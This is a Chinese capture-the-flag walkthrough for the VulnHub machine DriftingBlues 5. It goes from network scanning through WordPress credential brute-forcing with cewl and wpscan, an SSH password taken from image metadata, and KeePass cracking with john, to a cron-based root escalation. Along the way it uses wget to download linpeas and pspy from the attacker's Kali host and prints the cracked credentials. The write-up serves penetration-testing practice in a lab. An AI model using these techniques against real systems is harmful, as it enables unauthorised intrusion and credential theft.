靶机渗透练习05-driftingblues5
靶机描述
靶机地址:https://www.vulnhub.com/entry/driftingblues-5,662/
Description
get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.
This works better with VirtualBox rather than VMware.
一、搭建靶机环境
攻击机Kali
:
IP地址:192.168.9.7
靶机
:
IP地址:192.168.9.27
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
该靶机环境搭建如下
- 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
- 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only
二、实战
2.1网络扫描
2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l (指定网卡扫)
arp-scan -I eth0 -l
方法二、masscan 扫描的网段 -p 扫描端口号
masscan 192.168.184.0/24 -p 80,22
方法三、netdiscover -i 网卡-r 网段
netdiscover -i eth0 -r 192.168.184.0/24
方法四、等你们补充
2.1.2 查看靶机开放的端口
使用nmap -A -sV -T4 -p- 靶机ip
查看靶机开放的端口
☁ kali nmap -A -sV -T4 -p- 192.168.9.27
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-20 15:53 CST
Nmap scan report for 192.168.9.27
Host is up (0.00040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
| 256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: diary – Just another WordPress site
|_http-generator: WordPress 5.6.2
MAC Address: 08:00:27:E5:DE:4D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.40 ms 192.168.9.27
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds
22---ssh---OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80---http---Apache httpd 2.4.38 ((Debian))
2.2枚举漏洞
22 端口分析
一般只能暴力破解,暂时没有合适的字典
80 端口分析
访问 80 端口
又是一个WordPress站
扫描一下目录
看到了登录界面
拿wpscan
扫描一下吧
没有什么发现
2.3漏洞利用
2.3.1 使用 cewl 生成网站字典 wpscan 破解账号和密码
使用 cewl 生成字典(wordpress 系统密码最少 6 位,-m 6)
使用 wpscan 扫描枚举用户名以及破解密码:
wpscan --url http://192.168.9.27/ -e u --passwords passwd.txt
成功爆破出账号密码gill / interchangeable
利用得到的用户密码登录一下
2.3.2 信息收集获取 SSH 密码 getshell
没有主题编辑,其他的也没啥发现
但是在图片这里,发现了一个80页面中没有的图片
下载 logo 文件
wget http://192.168.9.27/wp-content/uploads/2021/02/dblogo.png
使用exiftool
工具分析一下该图片:exiftool dblogo.png
发现ssh
密码59583hello
使用gill / 59583hello
登录一下
成功登录,进入/home/gill
目录下,找到flag1
2.4权限提升
2.4.1 破解 kdbox 密码
同时在 home 目录发现一个文件:keyfile.kdbx
百度一下发现是 KeePass 密码
,同时在https://tzusec.com/cracking-keepass-database/
找到相关破解方法
在目录下,开启 web 服务,将文件下载到本地
先将 keyfile.kdbx 内容转为 john 支持的格式:keepass2john keyfile.kdbx > Keepasshash.txt
然后使用 john 破解:john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt
破解出密码:porsiempre
这个密码是什么的密码暂时不清楚,咱们试试su root
2.4.2 信息收集获取敏感目录和程序
在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null
在https://gtfobins.github.io/
没有任何发现
咱们利用一下linpeas.sh
信息收集一波
kali上开启http服务,python -m http.server 88
在目标靶机上下载linpeas.sh
执行一下该脚本
发现一wp站的数据库账号密码wpuser
和.:.zurrak.:.
发现几个root权限的文件夹
可以发现除了 root 之外的其他用户可以在目录上写
还发现了最近 5 分钟内,有访问身份认证和 keypass 相关文件
上传一个监控程序,看看访问情况:
wget http://192.168.9.7:88/pspy64
chmod +x pspy64
./pspy64
可以发现一个计划任务执行的脚本,大概一分钟一次:
可以发现没有权限查看脚本,只能猜脚本可能有什么内容,
根据上面情况看,应该是 keypass 相关的身份认证代码
2.4.3 解密 keepass 数据库获取密码
可以使用 keepass 服务并查看存储的密码
上传 keeass db 的链接:https://app.keeweb.info/
文件:keyfile.kdbx
密码:porsiempre
分析完成后发现六个密码
2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwylde
将上面密码逐一尝试,还是不行
2.4.4 创建 key 文件等待访问文件提权
根据前面获取的信息,我们现在可以推测:
/root/key.sh
脚本会通过计划任务执行,可能会访问/keyfolder
目录中对应的 key 文件
key 就是通过 keypass
解密出来的:
2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwylde
将以上 key 保存到一个文件中
将 keys 文件中的 key 逐一读取出来,都创建成文件
while read key; do touch $key ;done < keys
按部就班将每个 key 移动到 keyfolder 文件夹中,等待一分钟,看是否有生成新文件
# 1 没有生成文件
gill@driftingblues:/tmp$ mv 2real4surreal /keyfolder/
gill@driftingblues:/tmp$ ls -al /keyfolder
total 8
drwx---rwx 2 root root 4096 Feb 20 02:55 .
drwxr-xr-x 19 root root 4096 Feb 24 2021 ..
-rw-r--r-- 1 gill gill 0 Feb 20 02:55 2real4surreal
gill@driftingblues:/tmp$ rm /keyfolder/*
# 2 没有生成文件
gill@driftingblues:/tmp$ mv buddyretard /keyfolder/
gill@driftingblues:/tmp$ ls -al /keyfolder
total 8
drwx---rwx 2 root root 4096 Feb 20 02:56 .
drwxr-xr-x 19 root root 4096 Feb 24 2021 ..
-rw-r--r-- 1 gill gill 0 Feb 20 02:55 buddyretard
gill@driftingblues:/tmp$ rm /keyfolder/*
# 3 没有生成文件
gill@driftingblues:/tmp$ mv closet313 /keyfolder/
gill@driftingblues:/tmp$ ls -al /keyfolder
total 8
drwx---rwx 2 root root 4096 Feb 20 02:56 .
drwxr-xr-x 19 root root 4096 Feb 24 2021 ..
-rw-r--r-- 1 gill gill 0 Feb 20 02:55 closet313
gill@driftingblues:/tmp$ rm /keyfolder/*
# 4 没有生成文件
gill@driftingblues:/tmp$ mv exalted /keyfolder/
gill@driftingblues:/tmp$ ls -al /keyfolder
total 8
drwx---rwx 2 root root 4096 Feb 20 02:57 .
drwxr-xr-x 19 root root 4096 Feb 24 2021 ..
-rw-r--r-- 1 gill gill 0 Feb 20 02:55 exalted
gill@driftingblues:/tmp$ rm /keyfolder/*
# 5 生成rootcreds.txt文件
gill@driftingblues:/tmp$ mv fracturedocean /keyfolder/
gill@driftingblues:/keyfolder$ ls -al /keyfolder
total 12
drwx---rwx 2 root root 4096 Feb 20 02:58 .
drwxr-xr-x 19 root root 4096 Feb 24 2021 ..
-rw-r--r-- 1 gill gill 0 Feb 20 02:55 fracturedocean
-rw-r--r-- 1 root root 29 Feb 20 02:58 rootcreds.txt
gill@driftingblues:/keyfolder$ cat rootcreds.txt
成功拿到密码imjustdrifting31
,
su root
成功提权,并在root
目录下拿到flag2
回头再看看这个key.sh
的内容
root@driftingblues:~# cat key.sh
#!/bin/bash
if [[ $(ls /keyfolder) == "fracturedocean" ]]; then
echo "root creds" >> /keyfolder/rootcreds.txt
echo "" >> /keyfolder/rootcreds.txt
echo "imjustdrifting31" >> /keyfolder/rootcreds.txt
fi
与猜测的差不太多,计划任务执行key.sh
程序,最后生成rootcreds.txt
总结
本节通过cewl 工具生成字典,进而使用 wpscan 扫描工具破解网站用户名密码,然后利用exiftool工具提取图片中文件,获取 ssh 密码从而拿到shell,最后创建 key 文件提权
- 利用gobuster工具进行目录扫描
- cewl 网站字典生成工具
- wpscan 扫描工具
- exiftool 图片内容提取工具
- KeePass 的 key 文件破解
- 解密 keepass 数据库获取密码
- 创建 key 文件提权